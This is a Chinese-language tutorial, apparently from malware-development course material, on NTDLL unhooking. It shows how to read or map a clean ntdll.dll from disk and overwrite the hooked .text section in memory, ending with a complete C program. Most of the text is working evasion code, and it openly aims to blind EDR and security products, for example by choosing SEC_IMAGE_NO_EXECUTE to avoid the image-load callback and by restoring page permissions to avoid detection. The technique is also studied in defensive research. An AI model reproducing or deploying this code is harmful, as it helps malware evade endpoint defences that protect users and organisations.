一、介绍
本文介绍如何通过将已挂钩的 NTDLL 的文本段覆盖为从磁盘的 NTDLL 映像中获取的未挂钩版本来实现 NTDLL 反挂钩。执行 NTDLL 反挂钩的步骤如下:
通过读取或映射(下面展示了这两种方法)从磁盘检索一个干净版本的 NTDLL 的句柄。
获取属于当前进程的挂钩 NTDLL 的句柄。
获取挂钩 NTDLL 的文本段。
获取干净 NTDLL 的文本段。
使用未挂钩的 NTDLL 的文本段覆盖挂钩的 NTDLL 的文本段。
从磁盘获取 NTDLL
可以使用以下部分中描述的方法从磁盘获取干净的 NTDLL 版本。从磁盘读取 ntdll.dll 的一种显而易见的方法是使用 ReadFile WinAPI,它可用于从磁盘读取文件。值得记住的是,ntdll.dll 文件的文本部分将有 1024 的偏移量。
可以使用下面所示的自定义 ReadNtdllFromDisk 函数从磁盘读取 ntdll.dll 文件,该函数使用 GetWindowsDirectoryA、CreateFileA、GetFileSize 和 ReadFile WinAPI。同样,请记住,DLL 文件存储在 C:\Windows\System32\ 中。
如果 ReadNtdllFromDisk 函数成功读取 ntdll.dll 文件,它将返回 TRUE。它有一个 OUT 参数 ppNtdllBuf,它保存 ntdll.dll 的基地址。
#define NTDLL "NTDLL.DLL"BOOL ReadNtdllFromDisk(OUT PVOID* ppNtdllBuf) {CHAR cWinPath [MAX_PATH / 2] = { 0 };CHAR cNtdllPath [MAX_PATH] = { 0 };HANDLE hFile = NULL;DWORD dwNumberOfBytesRead = NULL,dwFileLen = NULL;PVOID pNtdllBuffer = NULL;// 获取 Windows 目录的路径if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {printf("[!] GetWindowsDirectoryA 失败,错误:%d \n", GetLastError());goto _EndOfFunc;}// 'sprintf_s' 是比 'sprintf' 更安全的版本sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);// 获取 ntdll.dll 文件的句柄hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE) {printf("[!] CreateFileA 失败,错误:%d \n", GetLastError());goto _EndOfFunc;}// 分配足够的内存来读取 ntdll.dll 文件dwFileLen = GetFileSize(hFile, NULL);pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);// 读取文件if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen != dwNumberOfBytesRead) {printf("[!] ReadFile 失败,错误:%d \n", GetLastError());printf("[i] 读取了 %d/%d 字节 \n", dwNumberOfBytesRead, dwFileLen);goto _EndOfFunc;}*ppNtdllBuf = pNtdllBuffer;_EndOfFunc:if (hFile)CloseHandle(hFile);if (*ppNtdllBuf == NULL)return FALSE;elsereturn TRUE;
}
映射 NTDLL
CreateFileMappingA 和 MapViewOfFile 这两个 WinAPI 也可以用于从 C:\Windows\System32\ 目录读取 ntdll.dll 文件。
当使用这些 WinAPI 时,.text 段的偏移量将变为 4096(0x1000),而不是 1024(0x400)。这是因为镜像被映射,导致 Windows 加载器应用了对齐修改。
如果在 CreateFileMappingA 调用中没有使用 SEC_IMAGE 或 SEC_IMAGE_NO_EXECUTE 标志,那么不会发生这种对齐调整,因此 .text 段的偏移量仍然是 1024(0x400)。
在下面的实现中,将使用 SEC_IMAGE_NO_EXECUTE 标志,因为它不会触发 PsSetLoadImageNotifyRoutine 回调。这意味着,当 ntdll.dll 被映射到内存中时,使用此标志不会触发 EDR(终端检测与响应)或其他利用此回调函数的安全产品的警报。
这一行为在 Microsoft 官方文档的 CreateFileMappingA 说明中有所提及。
通过映射 WinAPI 从磁盘获取 ntdll.dll 是通过以下自定义函数 MapNtdllFromDisk 完成的。如果 MapNtdllFromDisk 成功读取 ntdll.dll 文件,它将返回 TRUE。
#define NTDLL "NTDLL.DLL"BOOL MapNtdllFromDisk(OUT PVOID* ppNtdllBuf) {HANDLE hFile = NULL,hSection = NULL;CHAR cWinPath [MAX_PATH / 2] = { 0 };CHAR cNtdllPath [MAX_PATH] = { 0 };PBYTE pNtdllBuffer = NULL;// 获取 Windows 目录的路径if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}// 'sprintf_s' 是比 'sprintf' 更安全的版本sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);// 获取 ntdll.dll 文件的句柄hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE) {printf("[!] CreateFileA Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}// 使用 'SEC_IMAGE_NO_EXECUTE' 标记创建 ntdll.dll 文件的映射视图hSection = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL);if (hSection == NULL) {printf("[!] CreateFileMappingA Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}// 映射 ntdll.dll 的文件视图pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);if (pNtdllBuffer == NULL) {printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}*ppNtdllBuf = pNtdllBuffer;_EndOfFunc:if (hFile)CloseHandle(hFile);if (hSection)CloseHandle(hSection);if (*ppNtdllBuf == NULL)return FALSE;elsereturn TRUE;
}
ReadNtdllFromDisk 和 MapNtdllFromDisk 函数执行相同任务,但将导致不同的文本段偏移量。
NTDLL 的读取与映射
在从磁盘读取 ntdll.dll 文件(而不是将其映射到内存)时,其文本部分的偏移量有时可能是 4096,而不是预期的 1024。由于文本段偏移量始终等于 DLL 文件的 IMAGE_SECTION_HEADER.VirtualAddress 偏移量,因此将 ntdll.dll 文件映射到内存更加可靠。
二、取消挂钩
取消挂接 ntdll.dll 需要采取一些步骤。这些步骤将逐步演示,以便于理解。
1 - 获取本地 Ntdll.dll 映像句柄
为了替换被 Hook 的 ntdll.dll 的 .text 段,首先必须获取该段的基址和大小。这可以通过多种方式实现,但首先需要获取 NTDLL 模块的句柄。可以使用 GetModuleHandleA("ntdll.dll") 或者使用自定义 GetModuleHandle 实现来完成这项工作。现在,将使用 FetchLocalNtdllBaseAddress 函数来完成这一任务。
PVOID FetchLocalNtdllBaseAddress() {#ifdef _WIN64PPEB pPeb = (PPEB)__readgsqword(0x60); // 在 64 位系统中,获取 PEB 的地址
#elif _WIN32PPEB pPeb = (PPEB)__readfsdword(0x30); // 在 32 位系统中,获取 PEB 的地址
#endif // _WIN64// 直接访问 'ntdll.dll' 模块(我们知道它是本地映像名称之后的第二个映像)PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);return pLdr->DllBase;
}
pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink 是链表中第二个条目的指针。该函数跳过第一个条目,因为该条目与本地映像相关(因为第一个条目对应的模块是当前正在运行的可执行文件)。然而,第二个条目与 ntdll.dll 模块相关。
尽管 pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink 是指向第二个条目的指针,但它指向条目的结尾,而不是开头。LIST_ENTRY 结构的大小为 0x10,因此减去 0x10 可将指针移动到第二个条目的开头,如下一点所述,这是 ntdll.dll 的位置。
return pLdr->DllBase 返回 ntdll.dll 映像的句柄/基本地址。
2 - 获取本地 Ntdll.dll 的文本节
使用 FetchLocalNtdllBaseAddress 函数检索到本地 ntdll.dll 的句柄后,现在可以检索其文本节的基础地址和大小。下面演示了两种实现方法。
PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)return FALSE;PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE) return FALSE;PVOID pLocalNtdllTxt = (PVOID)(pLocalNtHdrs->OptionalHeader.BaseOfCode + (ULONG_PTR)pLocalNtdll);
SIZE_T sNtdllTxtSize = pLocalNtHdrs->OptionalHeader.SizeOfCode;
BaseOfCode
是 OptionalHeader
中的一个字段,表示 .text 段的基址(即代码段的起始地址)。
pLocalNtHdrs->OptionalHeader.BaseOfCode
获取了.text
段的虚拟基址。
(ULONG_PTR)pLocalNtdll
将 pLocalNtdl
l(指向本地ntdll.dll
模块的指针)转换为一个整数值(地址)。
这两者相加,得到 .text 段在内存中的实际地址(基址)。将其转换为 PVOID(void 指针类型),可以用来指向 .text 段的内存。
方法 2 - IMAGE_SECTION_HEADER 结构
第二种方法搜索 IMAGE_SECTION_HEADER 结构数组中的文本节,pLocalNtHdrs 是指向 NT 头(Nt headers) 结构的指针。
pLocalNtdllTxt 和 sNtdllTxtSize 分别表示 .text 段的基址和大小。
当pSectionHeader[i].Name
等于 ".text" 时,if 语句会对前四个字符(即 ".tex"
)执行字符串比较。表达式 (*ULONG)*
将 ".tex" 的值反转为 "xet."。这是因为首先读取最不重要的字节并将其放在 ULONG 值的最重要位置,最后读取最重要字节并将其放在 ULONG 值的最不重要位置。然后,用字符串 "xet."
和 0x20202020
执行位或操作以将其对齐到 32 位边界,从而得出'xet.'
值(十六进制表示为 0x7865742E
)。这是为了避免使用 strcmp 函数
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {// if( strcmp(pSectionHeader[i]->Name, ".text") == 0) )if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {PVOID pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);SIZE_T sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;break;}
}
3 - 获取未挂钩的 Ntdll.dll 文本部分
下一步是要获取未挂钩的 ntdll.dll 文本部分的基本地址。可以使用 ReadNtdllFromDisk 或 MapNtdllFromDisk 函数来实现。然后简单地将这个基本地址添加到文本部分的偏移量,该偏移量会因用于获取未挂钩的 ntdll.dll 文本部分的函数而异。
如果使用 ReadNtdllFromDisk,则文本部分的偏移量将等于 1024 字节。否则,如果使用 MapNtdllFromDisk,则文本部分的偏移量将等于 NTDLL 的 IMAGE_SECTION_HEADER.VirtualAddress,通常为 4096 字节。
4 - 替换.text段
在获取了所有必要信息后,下一步是 用未 Hook 的ntdll.dll .text
段替换已 Hook 的 .text 段。
这个过程通过 memcpy
实现,其中:
目标地址(destination) 是 已 Hook 的 .text 段的基地址,
源地址(source) 是 未 Hook 的 .text 段的基地址。
由于 .text 段通常是 只读且可执行(RX) 的,因此 必须先修改其内存权限,允许写入,才能进行替换。
这可以使用 VirtualProtect API
来完成,设置以下权限之一:
PAGE_EXECUTE_WRITECOPY
PAGE_EXECUTE_READWRITE
在成功替换 .text 段后,必须再次调用 VirtualProtect 恢复原始权限,通常为:PAGE_EXECUTE_READ(可执行但不可写入)这样可以 避免恶意软件检测,并保持 ntdll.dll 代码段的正常安全属性。
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>#define NTDLL "NTDLL.DLL" // can be lower-case as well// comment this to 'map' ntdll.dll instead of reading it
//
#define READ_NTDLL#ifndef READ_NTDLL
#define MAP_NTDLL
#endif // !READ_NTDLL#ifdef READ_NTDLLBOOL ReadNtdllFromDisk(OUT PVOID* ppNtdllBuf) {CHAR cWinPath [MAX_PATH / 2] = { 0 };CHAR cNtdllPath [MAX_PATH] = { 0 };HANDLE hFile = NULL;DWORD dwNumberOfBytesRead = NULL,dwFileLen = NULL;PVOID pNtdllBuffer = NULL;// getting the path of the Windows directoryif (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}// 'sprintf_s' is a more secure version than 'sprintf'sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);// getting the handle of the ntdll.dll filehFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE) {printf("[!] CreateFileA Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}// allocating enough memory to read the ntdll.dll filedwFileLen = GetFileSize(hFile, NULL);pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);// reading the fileif (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen != dwNumberOfBytesRead) {printf("[!] ReadFile Failed With Error : %d \n", GetLastError());printf("[i] Read %d of %d Bytes \n", dwNumberOfBytesRead, dwFileLen);goto _EndOfFunc;}*ppNtdllBuf = pNtdllBuffer;_EndOfFunc:if (hFile)CloseHandle(hFile);if (*ppNtdllBuf == NULL)return FALSE;elsereturn TRUE;
}#endif // READ_NTDLL#ifdef MAP_NTDLLBOOL MapNtdllFromDisk(OUT PVOID* ppNtdllBuf) {HANDLE hFile = NULL,hSection = NULL;CHAR cWinPath[MAX_PATH / 2] = { 0 };CHAR cNtdllPath[MAX_PATH] = { 0 };PBYTE pNtdllBuffer = NULL;// getting the path of the Windows directoryif (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}// 'sprintf_s' is a more secure version than 'sprintf'sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);// getting the handle of the ntdll.dll filehFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE) {printf("[!] CreateFileA Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}// creating a mapping view of the ntdll.dll file using the 'SEC_IMAGE_NO_EXECUTE' flaghSection = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL);if (hSection == NULL) {printf("[!] CreateFileMappingA Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}// mapping the view of file of ntdll.dllpNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);if (pNtdllBuffer == NULL) {printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}*ppNtdllBuf = pNtdllBuffer;_EndOfFunc:if (hFile)CloseHandle(hFile);if (hSection)CloseHandle(hSection);if (*ppNtdllBuf == NULL)return FALSE;elsereturn TRUE;
}#endif // MAP_NTDLLPVOID FetchLocalNtdllBaseAddress() {#ifdef _WIN64PPEB pPeb = (PPEB)__readgsqword(0x60);
#elif _WIN32PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif // _WIN64// Reaching to the 'ntdll.dll' module directly (we know its the 2nd image after 'DiskHooking.exe')// 0x10 is = sizeof(LIST_ENTRY)PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);return pLdr->DllBase;
}BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();printf("\t[i] 'Hooked' Ntdll Base Address : 0x%p \n\t[i] 'Unhooked' Ntdll Base Address : 0x%p \n", pLocalNtdll, pUnhookedNtdll);printf("[#] Press <Enter> To Continue ... ");getchar();// getting the dos headerPIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)return FALSE;// getting the nt headersPIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE) return FALSE;PVOID pLocalNtdllTxt = NULL, // local hooked text section base addresspRemoteNtdllTxt = NULL; // the unhooked text section base addressSIZE_T sNtdllTxtSize = NULL; // the size of the text section/*// this is another way to get the text section - it requires more steps PIMAGE_DOS_HEADER pRemoteDosHdr = (PIMAGE_DOS_HEADER)pUnhookedNtdll;if (pRemoteDosHdr && pRemoteDosHdr->e_magic != IMAGE_DOS_SIGNATURE)return FALSE;PIMAGE_NT_HEADERS pRemoteNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pUnhookedNtdll + pRemoteDosHdr->e_lfanew);if (pRemoteNtHdrs->Signature != IMAGE_NT_SIGNATURE)return FALSE;PVOID pLocalNtdllTxt = (PVOID)(pLocalNtHdrs->OptionalHeader.BaseOfCode + (ULONG_PTR)pLocalNtdll),pRemoteNtdllTxt = (PVOID)(pRemoteNtHdrs->OptionalHeader.BaseOfCode + (ULONG_PTR)pUnhookedNtdll);SIZE_T sNtdllTxtSize = pLocalNtHdrs->OptionalHeader.SizeOfCode;
*/// getting the text sectionPIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {// the same as if( strcmp(pSectionHeader[i].Name, ".text") == 0 )if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
#ifdef MAP_NTDLLpRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
#endif //MAP_NTDLL
#ifdef READ_NTDLLpRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + 1024);
#endif // READ_NTDLLsNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;break;}}printf("\t[i] 'Hooked' Ntdll Text Section Address : 0x%p \n\t[i] 'Unhooked' Ntdll Text Section Address : 0x%p \n\t[i] Text Section Size : %d \n", pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);printf("[#] Press <Enter> To Continue ... ");getchar();//---------------------------------------------------------------------------------------------------------------------------// small check to verify that all the required information is retrievedif (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)return FALSE;#ifdef READ_NTDLL// small check to verify that 'pRemoteNtdllTxt' is really the base address of the text sectionif (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {printf("\t[i] Text section is of offset 4096, updating base address ... \n");// if not, then the read text section is also of offset 4096, so we add 3072 (because we added 1024 already)(ULONG_PTR)pRemoteNtdllTxt += 3072;// checking againif (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)return FALSE;printf("\t[+] New Address : 0x%p \n", pRemoteNtdllTxt);printf("[#] Press <Enter> To Continue ... ");getchar();}
#endif // READ_NTDLL//---------------------------------------------------------------------------------------------------------------------------printf("[i] Replacing The Text Section ... ");DWORD dwOldProtection = NULL;// making the text section writable and executableif (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {printf("[!] VirtualProtect [1] Failed With Error : %d \n", GetLastError());return FALSE;}// copying the new text section memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);// rrestoring the old memory protectionif (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {printf("[!] VirtualProtect [2] Failed With Error : %d \n", GetLastError());return FALSE;}printf("[+] DONE !\n");return TRUE;
}VOID PrintState(char* cSyscallName, PVOID pSyscallAddress) {printf("[#] %s [ 0x%p ] ---> %s \n", cSyscallName, pSyscallAddress, (*(ULONG*)pSyscallAddress != 0xb8d18b4c) == TRUE ? "[ HOOKED ]" : "[ UNHOOKED ]");
}int main() {PVOID pNtdll = NULL;// printf("[#] Press <Enter> When MalDevEdr.dll Is Injected ... ");// getchar();#ifdef MAP_NTDLLprintf("[i] Fetching A New \"ntdll.dll\" File By Mapping \n");if (!MapNtdllFromDisk(&pNtdll))return -1;
#endif //MAP_NTDLL// check if NtProtectVirtualMemory is hookedPrintState("NtProtectVirtualMemory", GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtProtectVirtualMemory"));#ifdef READ_NTDLLprintf("[i] Fetching A New \"ntdll.dll\" File By Reading \n");if (!ReadNtdllFromDisk(&pNtdll))return -1;
#endif // READ_NTDLLif (!ReplaceNtdllTxtSection(pNtdll))return -1;#ifdef MAP_NTDLLUnmapViewOfFile(pNtdll);
#endif //MAP_NTDLL#ifdef READ_NTDLLHeapFree(GetProcessHeap(), 0, pNtdll);
#endif // READ_NTDLLprintf("[+] Ntdll Unhooked Successfully \n");// check if NtProtectVirtualMemory is unhookedPrintState("NtProtectVirtualMemory", GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtProtectVirtualMemory"));printf("[#] Press <Enter> To Quit ... ");getchar();return 0;
}